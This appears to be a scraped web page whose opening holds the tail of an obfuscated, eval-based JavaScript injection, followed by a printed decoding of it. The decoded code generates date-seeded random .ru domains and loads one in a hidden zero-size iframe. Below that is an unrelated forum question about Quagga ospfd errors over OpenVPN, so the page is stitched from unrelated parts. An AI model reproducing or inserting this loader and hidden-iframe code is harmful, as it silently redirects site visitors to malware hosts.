6,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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  • ospfd over an OpenVPN link - strange error in logs

    - by Alex
    I am trying to set up Quagga ospfd on two hosts connected by an OpenVPN link. These hosts have VPN IPs 10.31.0.1 and 10.31.0.13. ospfd config is pretty simple: hostname bizon password xxxxxxxxx enable password xxxxxxxxx ! log file /var/log/quagga/ospfd.log ! interface lo ! interface tun0 ip ospf network point-to-point ip ospf mtu-ignore ip ospf cost 10 interface tun1 ip ospf network point-to-point ip ospf mtu-ignore ip ospf cost 10 interface tun2 ip ospf network point-to-point ip ospf mtu-ignore ip ospf cost 10 ! router ospf ospf router-id 10.31.0.1 network 10.31.0.0/16 area 0.0.0.0 network 10.119.2.0/24 area 0.0.0.0 redistribute connected area 0.0.0.0 range 10.0.0.0/8 ! line vty ! debug ospf event debug ospf packet all I am getting the following error in the ospfd.log (the log is from 10.31.0.13): 2012/10/05 01:25:28 OSPF: ip_v 4 2012/10/05 01:25:28 OSPF: ip_hl 5 2012/10/05 01:25:28 OSPF: ip_tos 192 2012/10/05 01:25:28 OSPF: ip_len 64 2012/10/05 01:25:28 OSPF: ip_id 64666 2012/10/05 01:25:28 OSPF: ip_off 0 2012/10/05 01:25:28 OSPF: ip_ttl 1 2012/10/05 01:25:28 OSPF: ip_p 89 2012/10/05 01:25:28 OSPF: ip_sum 0xe5d1 2012/10/05 01:25:28 OSPF: ip_src 10.31.0.1 2012/10/05 01:25:28 OSPF: ip_dst 224.0.0.5 2012/10/05 01:25:28 OSPF: Packet from [10.31.0.1] received on link tun1 but no ospf_interface I'm not sure what to do next. I have set up ospfd over OpenVPN several times but I used Debian and I am on CentOS 6 now. Quagga version is 0.99.15. Should I try to get more recent version?

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